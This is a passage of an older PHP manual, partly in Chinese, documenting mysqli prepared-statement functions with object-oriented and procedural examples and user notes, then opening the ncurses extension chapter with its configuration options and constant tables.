If you use mysqli_stmt_store_result(), mysqli_stmt_num_rows() may be called immediately.

返回值

An integer representing the number of rows in result set.

参见

mysqli_stmt_affected_rows(),
mysqli_prepare() 和
mysqli_stmt_store_result().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* store result */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* store result */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Number of rows: 20.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_init | 上一级 | mysqli_stmt_param_count


mysqli_stmt_param_count

(PHP 5)

mysqli_stmt_param_count

(no version information, might be only in CVS)

stmt->param_count -- Returns the number of parameter for the given statement

Description

Procedural style:

int mysqli_stmt_param_count ( mysqli_stmt stmt )

Object oriented style (property):

class mysqli_stmt {

int param_count

}

mysqli_stmt_param_count() returns the number of parameter markers present in the prepared statement.

返回值

returns an integer representing the number of parameters.

参见

mysqli_prepare().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = $stmt->param_count;
    printf("Statement has %d markers.\n", $marker);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = mysqli_prepare($link, "SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = mysqli_stmt_param_count($stmt);
    printf("Statement has %d markers.\n", $marker);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Statement has 2 markers.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_num_rows | 上一级 | mysqli_stmt_prepare


mysqli_stmt_prepare

(PHP 5)

mysqli_stmt_prepare

(no version information, might be only in CVS)

stmt->prepare -- Prepare a SQL statement for execution

Description

Procedure style:

bool mysqli_stmt_prepare ( mysqli_stmt stmt, string query )

Object oriented style (method)

class mysqli_stmt {

mixed prepare ( string query )

}

mysqli_stmt_prepare() prepares the SQL query pointed to by the null-terminated string query. The statement object has to be allocated by mysqli_stmt_init(). The query must consist of a single SQL statement.

注: You should not add a terminating semicolon or \g to the statement.

The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

注: The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using mysqli_stmt_bind_param() and/or mysqli_stmt_bind_result() before executing the statement or fetching rows.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_stmt_init(),
mysqli_stmt_execute(),
mysqli_stmt_fetch(),
mysqli_stmt_bind_param(),
mysqli_stmt_bind_result() 和
mysqli_stmt_close().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$stmt =  $mysqli->stmt_init();
if ($stmt->prepare("SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    $stmt->bind_param("s", $city);

    /* execute query */
    $stmt->execute();

    /* bind result variables */
    $stmt->bind_result($district);

    /* fetch value */
    $stmt->fetch();

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$city = "Amersfoort";

/* create a prepared statement */
$stmt = mysqli_stmt_init();
if ($stmt = mysqli_stmt_prepare($stmt, "SELECT District FROM City WHERE Name=?")) {

    /* bind parameters for markers */
    mysqli_stmt_bind_param($stmt, "s", $city);

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* bind result variables */
    mysqli_stmt_bind_result($stmt, $district);

    /* fetch value */
    mysqli_stmt_fetch($stmt);

    printf("%s is in district %s\n", $city, $district);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Amersfoort is in district Utrecht

add a note add a note User Contributed Notes
andrey at php dot net
07-Oct-2005 08:35
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
programmer at bardware dot de
10-Dec-2004 07:56
Hi,

the code
($stmt = mysqli_stmt_prepare($stmt, "SELECT District FROM City WHERE Name=?")) {

in the sample is wrong.

mysqli_stmt_prepare returns a bool
When using the code provided $stmt after the call to mysqli_stmt_prepare is a bool a not a mysqli-Statement any longer....may thus not be used in subsequent mysqli_* calls.

Best wishes
Bernhard
add a note add a note

后退 | 起点 | 前进
mysqli_stmt_param_count | 上一级 | mysqli_stmt_reset


mysqli_stmt_reset

(PHP 5)

mysqli_stmt_reset

(no version information, might be only in CVS)

stmt->reset -- Resets a prepared statement

Description

Procedural style:

bool mysqli_stmt_reset ( mysqli_stmt stmt )

Object oriented style (method):

class mysqli_stmt {

bool reset ( void )

}

The mysqli_stmt_reset() resets a prepared statement on client and server to state after prepare. For now this is mainly used to reset data sent with mysqli_stmt_send_long_data().

注: To prepare a statement with another query use function mysqli_stmt_prepare().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_prepare().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_prepare | 上一级 | mysqli_stmt_result_metadata


mysqli_stmt_result_metadata

(PHP 5)

mysqli_stmt_result_metadata -- Returns result set metadata from a prepared statement

Description

Procedural style:

mysqli_result mysqli_stmt_result_metadata ( mysqli_stmt stmt )

Object oriented style (method):

class mysqli_stmt {

mysqli_result result_metadata ( void )

}

If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object that can be used to process the meta information such as total number of fields and individual field information.

注: This result set pointer can be passed as an argument to any of the field-based functions that process result set metadata, such as:

  • mysqli_num_fields()

  • mysqli_fetch_field()

  • mysqli_fetch_field_direct()

  • mysqli_fetch_fields()

  • mysqli_field_count()

  • mysqli_field_seek()

  • mysqli_field_tell()

  • mysqli_free_result()

The result set structure should be freed when you are done with it, which you can do by passing it to mysqli_free_result()

注: The result set returned by mysqli_stmt_result_metadata() contains only metadata. It does not contain any row results. The rows are obtained by using the statement handle with mysqli_stmt_fetch().

返回值

mysqli_stmt_result_metadata() returns a result object or FALSE if an error occured.

参见

mysqli_prepare() 和 mysqli_free_result().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query("DROP TABLE IF EXISTS friends");
$mysqli->query("CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query("INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = $mysqli->prepare("SELECT id, name FROM friends");
$stmt->execute();

/* get resultset for metadata */
$result = $stmt->result_metadata();

/* retrieve field information from metadata result set */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* close resultset */
$result->close();

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = mysqli_prepare($link, "SELECT id, name FROM friends");
mysqli_stmt_execute($stmt);

/* get resultset for metadata */
$result = mysqli_stmt_result_metadata($stmt);

/* retrieve field information from metadata result set */
$field = mysqli_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* close resultset */
mysqli_free_result($result);

/* close connection */
mysqli_close($link);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_reset | 上一级 | mysqli_stmt_send_long_data


mysqli_stmt_send_long_data

(PHP 5)

mysqli_stmt_send_long_data

(no version information, might be only in CVS)

stmt->send_long_data -- Send data in blocks

Description

Procedural style:

bool mysqli_stmt_send_long_data ( mysqli_stmt stmt, int param_nr, string data )

Object oriented style (method)

class mysqli_stmt {

bool send_long_data ( int param_nr, string data )

}

Allows to send parameter data to the server in pieces (or chunks), e.g. if the size of a blob exceeds the size of max_allowed_packet. This function can be called multiple times to send the parts of a character or binary data value for a column, which must be one of the TEXT or BLOB datatypes.

param_nr indicates which parameter to associate the data with. Parameters are numbered beginning with 0. data is a string containing data to be sent.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_prepare() 和 mysqli_stmt_bind_param().

add a note add a note User Contributed Notes
Gustavo Narea
17-May-2006 10:00
Just in case:

'max_allowed_package' is a MySQL variable; it is not a PHP function/variable/constant.

Further info: http://dev.mysql.com/doc/refman/4.1/en/packet-too-large.html

HTH.
lussnig at smcc dot de
26-Oct-2005 10:31
send_long_data() these function is normaly used to store Data in Binary blob field. But if the table is UTF8 and connection charset it does not expect binary data (for example images) it take utf8 Data.
This mean you have to do utf8_encode bevore sending binary data.
add a note add a note

后退 | 起点 | 前进
mysqli_stmt_result_metadata | 上一级 | mysqli_stmt_sqlstate


mysqli_stmt_sqlstate

(PHP 5)

mysqli_stmt_sqlstate -- Returns SQLSTATE error from previous statement operation

Description

string mysqli_stmt_sqlstate ( mysqli_stmt stmt )

Returns a string containing the SQLSTATE error code for the most recently invoked prepared statement function that can succeed or fail. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC. For a list of possible values, see http://dev.mysql.com/doc/mysql/en/error-handling.html.

注: Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

返回值

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

参见

mysqli_stmt_errno() 和 mysqli_stmt_error().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* drop table */
    $mysqli->query("DROP TABLE myCountry");

    /* execute query */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->sqlstate);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* drop table */
    mysqli_query($link, "DROP TABLE myCountry");

    /* execute query */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_sqlstate($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Error: 42S02.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_send_long_data | 上一级 | mysqli_stmt_store_result


mysqli_stmt_store_result

(PHP 5)

mysqli_stmt_store_result

(no version information, might be only in CVS)

mysqli_stmt->store_result -- Transfers a result set from a prepared statement

Description

Procedural style:

bool mysqli_stmt_store_result ( mysqli_stmt stmt )

Object oriented style (method):

class mysqli_stmt {

bool store_result ( void )

}

You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data.

注: It is unnecessary to call mysqli_stmt_store_result() for other queries, but if you do, it will not harm or cause any notable performance in all cases. You can detect whether the query produced a result set by checking if mysqli_stmt_result_metadata() returns NULL.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_prepare(),
mysqli_stmt_result_metadata() 和
mysqli_stmt_fetch().

范例

例子 1. Object oriented style

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* execute query */
    $stmt->execute();

    /* store result */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* free result */
    $stmt->free_result();

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* execute query */
    mysqli_stmt_execute($stmt);

    /* store result */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* free result */
    mysqli_stmt_free_result($stmt);

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Number of rows: 20.

add a note add a note User Contributed Notes
UCFirefly (at) yahoo.com
21-Feb-2006 04:25
fetch_fields() does not seem to be compatible with prepared statements like those used here. Makes things difficult if you're using a wildcard. I guess that's better for security in some obscure way.

-Alex Boese
add a note add a note

后退 | 起点 | 前进
mysqli_stmt_sqlstate | 上一级 | mysqli_store_result


mysqli_store_result

(PHP 5)

mysqli_store_result

(no version information, might be only in CVS)

mysqli->store_result -- Transfers a result set from the last query

Description

Procedural style:

mysqli_result mysqli_store_result ( mysqli link )

Object oriented style (method):

class mysqli {

mysqli_result store_result ( void )

}

Transfers the result set from the last query on the database connection represented by the link parameter to be used with the mysqli_data_seek() function.

注: Although it is always good practice to free the memory used by the result of a query using the mysqli_free_result() function, when transfering large result sets using the mysqli_store_result() this becomes particularly important.

注: mysqli_store_result() returns FALSE in case the query didn't return a result set (if the query was, for example an INSERT statement). This function also returns FALSE if the reading of the result set failed. You can check if you have got an error by checking if mysqli_error() doesn't return an empty string, if mysqli_errno() returns a non zero value, or if mysqli_field_count() returns a non zero value. Also possible reason for this function returning FALSE after successfull call to mysqli_query() can be too large result set (memory for it cannot be allocated). If mysqli_field_count() returns a non-zero value, the statement should have produced a non-empty result set.

返回值

Returns a buffered result object or FALSE if an error occurred.

参见

mysqli_real_query() 和 mysqli_use_result().

范例

See mysqli_multi_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_stmt_store_result | 上一级 | mysqli_thread_id


mysqli_thread_id

(PHP 5)

mysqli_thread_id

(no version information, might be only in CVS)

mysqli->thread_id -- Returns the thread ID for the current connection

Description

Procedural style:

int mysqli_thread_id ( mysqli link )

Object oriented style (property):

class mysqli {

int thread_id

}

The mysqli_thread_id() function returns the thread ID for the current connection which can then be killed using the mysqli_kill() function. If the connection is lost and you reconnect with mysqli_ping(), the thread ID will be other. Therefore you should get the thread ID only when you need it.

注: The thread ID is assigned on a connection-by-connection basis. Hence, if the connection is broken and then re-established a new thread ID will be assigned.

To kill a running query you can use the SQL command KILL QUERY processid.

返回值

mysqli_thread_id() returns the Thread ID for the current connection.

参见

mysqli_kill().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = $mysqli->thread_id;

/* Kill connection */
$mysqli->kill($thread_id);

/* This should produce an error */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = mysqli_thread_id($link);

/* Kill connection */
mysqli_kill($link, $thread_id);

/* This should produce an error */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Error: MySQL server has gone away

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_store_result | 上一级 | mysqli_thread_safe


mysqli_thread_safe

(PHP 5)

mysqli_thread_safe -- Returns whether thread safety is given or not

Description

Procedural style:

bool mysqli_thread_safe ( void )

mysqli_thread_safe() indicates whether the client library is compiled as thread-safe.

返回值

TRUE if the client library is thread-safe, otherwise FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_thread_id | 上一级 | mysqli_use_result


mysqli_use_result

(PHP 5)

mysqli_use_result

(no version information, might be only in CVS)

mysqli->use_result -- Initiate a result set retrieval

Description

Procedural style:

mysqli_result mysqli_use_result ( mysqli link )

Object oriented style (method):

class mysqli {

mysqli_result use_result ( void )

}

mysqli_use_result() is used to initiate the retrieval of a result set from the last query executed using the mysqli_real_query() function on the database connection specified by the link parameter. Either this or the mysqli_store_result() function must be called before the results of a query can be retrieved, and one or the other must be called to prevent the next query on that database connection from failing.

注: The mysqli_use_result() function does not transfer the entire result set from the database and hence cannot be used functions such as mysqli_data_seek() to move to a particular row within the set. To use this functionality, the result set must be stored using mysqli_store_result(). One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

返回值

Returns an unbuffered result object or FALSE if an error occurred.

参见

mysqli_real_query() 和 mysqli_store_result().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if ($mysqli->multi_query($query)) {
    do {
        /* store first result set */
        if ($result = $mysqli->use_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->close();
        }
        /* print divider */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
    do {
        /* store first result set */
        if ($result = mysqli_use_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* print divider */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_thread_safe | 上一级 | mysqli_warning_count


mysqli_warning_count

(PHP 5)

mysqli_warning_count

(no version information, might be only in CVS)

mysqli->warning_count -- Returns the number of warnings from the last query for the given link

Description

Procedural style:

int mysqli_warning_count ( mysqli link )

Object oriented style (property):

class mysqli {

int warning_count

}

mysqli_warning_count() returns the number of warnings from the last query in the connection represented by the link parameter.

注: For retrieving warning messages you can use the SQL command SHOW WARNINGS [limit row_count].

返回值

Number of warnings or zero if there are no warnings.

参见

mysqli_errno(),
mysqli_error() 和
mysqli_sqlstate().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* a remarkable city in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$mysqli->query($query);

if ($mysqli->warning_count) {
    if ($result = $mysqli->query("SHOW WARNINGS")) {
        $row = $result->fetch_row();
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        $result->close();
    }
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* a remarkable long city name in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

mysqli_query($link, $query);

if (mysqli_warning_count($link)) {
    if ($result = mysqli_query($link, "SHOW WARNINGS")) {
        $row = mysqli_fetch_row($result);
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        mysqli_free_result($result);
    }
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Warning (1264): Data truncated for column 'Name' at row 1

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_use_result | 上一级 | Ncurses Terminal Screen Control Functions


Ncurses Terminal Screen Control Functions

PHP 手册
后退 前进

LXXXVII. Ncurses Terminal Screen Control Functions

简介

ncurses (new curses) is a free software emulation of curses in System V Rel 4.0 (and above). It uses terminfo format, supports pads, colors, multiple highlights, form characters and function key mapping. Because of the interactive nature of this library, it will be of little use for writing Web applications, but may be useful when writing scripts meant using PHP from the command line.

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

Ncurses is available for the following platforms:

  • AIX

  • BeOS

  • Cygwin

  • Digital Unix (aka OSF1)

  • FreeBSD

  • GNU/Linux

  • HPUX

  • IRIX

  • OS/2

  • SCO OpenServer

  • Solaris

  • SunOS

需求

You need the ncurses libraries and headerfiles. Download the latest version from the ftp://ftp.gnu.org/pub/gnu/ncurses/ or from an other GNU-Mirror.

安装

To get these functions to work, you have to compile the CGI or CLI version of PHP with --with-ncurses[=DIR].

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Ncurses configuration options

Name | Default | Changeable | Changelog
ncurses.value | "42" | PHP_INI_ALL |
ncurses.string | "foobar" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Error codes

On error ncurses functions return NCURSES_ERR.

Colors

表格 2. ncurses color constants

constant | meaning
NCURSES_COLOR_BLACK | no color (black)
NCURSES_COLOR_WHITE | white
NCURSES_COLOR_RED | red - supported when terminal is in color mode
NCURSES_COLOR_GREEN | green - supported when terminal is in color mode
NCURSES_COLOR_YELLOW | yellow - supported when terminal is in color mode
NCURSES_COLOR_BLUE | blue - supported when terminal is in color mode
NCURSES_COLOR_CYAN | cyan - supported when terminal is in color mode
NCURSES_COLOR_MAGENTA | magenta - supported when terminal is in color mode

Keys

表格 3. ncurses key constants

constant | meaning
NCURSES_KEY_F0 - NCURSES_KEY_F64 | function keys F1 - F64
NCURSES_KEY_DOWN | down arrow
NCURSES_KEY_UP | up arrow
NCURSES_KEY_LEFT | left arrow
NCURSES_KEY_RIGHT | right arrow
NCURSES_KEY_HOME | home key (upward+left arrow)
NCURSES_KEY_BACKSPACE | backspace
NCURSES_KEY_DL | delete line
NCURSES_KEY_IL | insert line
NCURSES_KEY_DC | delete character
NCURSES_KEY_IC | insert char or enter insert mode
NCURSES_KEY_EIC | exit insert char mode
NCURSES_KEY_CLEAR | clear screen
NCURSES_KEY_EOS | clear to end of screen
NCURSES_KEY_EOL | clear to end of line
NCURSES_KEY_SF | scroll one line forward
NCURSES_KEY_SR | scroll one line backward
NCURSES_KEY_NPAGE | next page
NCURSES_KEY_PPAGE | previous page
NCURSES_KEY_STAB | set tab
NCURSES_KEY_CTAB | clear tab
NCURSES_KEY_CATAB | clear all tabs
NCURSES_KEY_SRESET | soft (partial) reset
NCURSES_KEY_RESET | reset or hard reset
NCURSES_KEY_PRINT | print
NCURSES_KEY_LL | lower left
NCURSES_KEY_A1 | upper left of keypad
NCURSES_KEY_A3 | upper right of keypad
NCURSES_KEY_B2 | center of keypad
NCURSES_KEY_C1 | lower left of keypad
NCURSES_KEY_C3 | lower right of keypad
NCURSES_KEY_BTAB | back tab
NCURSES_KEY_BEG | beginning
NCURSES_KEY_CANCEL | cancel
NCURSES_KEY_CLOSE | close
NCURSES_KEY_COMMAND | cmd (command)
NCURSES_KEY_COPY | copy
NCURSES_KEY_CREATE | create
NCURSES_KEY_END | end
NCURSES_KEY_EXIT | exit
NCURSES_KEY_FIND | find
NCURSES_KEY_HELP | help
NCURSES_KEY_MARK | mark
NCURSES_KEY_MESSAGE | message
NCURSES_KEY_MOVE | move
NCURSES_KEY_NEXT | next
NCURSES_KEY_OPEN | open
NCURSES_KEY_OPTIONS | options
NCURSES_KEY_PREVIOUS | previous
NCURSES_KEY_REDO | redo
NCURSES_KEY_REFERENCE | ref (reference)
NCURSES_KEY_REFRESH | refresh
NCURSES_KEY_REPLACE | replace
NCURSES_KEY_RESTART | restart
NCURSES_KEY_RESUME | resume
NCURSES_KEY_SAVE | save
NCURSES_KEY_SBEG | shiftet beg (beginning)
NCURSES_KEY_SCANCEL | shifted cancel
NCURSES_KEY_SCOMMAND | shifted command
NCURSES_KEY_SCOPY | shifted copy
NCURSES_KEY_SCREATE | shifted create
NCURSES_KEY_SDC | shifted delete char
NCURSES_KEY_SDL | shifted delete line
NCURSES_KEY_SELECT | select
NCURSES_KEY_SEND | shifted end
NCURSES_KEY_SEOL | shifted end of line
NCURSES_KEY_SEXIT | shifted exit
NCURSES_KEY_SFIND | shifted find
NCURSES_KEY_SHELP | shifted help
NCURSES_KEY_SHOME | shifted home
NCURSES_KEY_SIC | shifted input
NCURSES_KEY_SLEFT | shifted left arrow
NCURSES_KEY_SMESSAGE | shifted message
NCURSES_KEY_SMOVE | shifted move
NCURSES_KEY_SNEXT | shifted next
NCURSES_KEY_SOPTIONS | shifted options
NCURSES_KEY_SPREVIOUS | shifted previous
NCURSES_KEY_SPRINT | shifted print
NCURSES_KEY_SREDO | shifted redo
NCURSES_KEY_SREPLACE | shifted replace
NCURSES_KEY_SRIGHT | shifted right arrow
NCURSES_KEY_SRSUME | shifted resume
NCURSES_KEY_SSAVE | shifted save
NCURSES_KEY_SSUSPEND | shifted suspend
NCURSES_KEY_UNDO | undo
NCURSES_KEY_MOUSE | mouse event has occurred
NCURSES_KEY_MAX | maximum key value

Mouse

表格 4. mouse constants

Constant | meaning
NCURSES_BUTTON1_RELEASED - NCURSES_BUTTON4_RELEASED | button (1-4) released
NCURSES_BUTTON1_PRESSED - NCURSES_BUTTON4_PRESSED | button (1-4) pressed
NCURSES_BUTTON1_CLICKED - NCURSES_BUTTON4_CLICKED | button (1-4) clicked
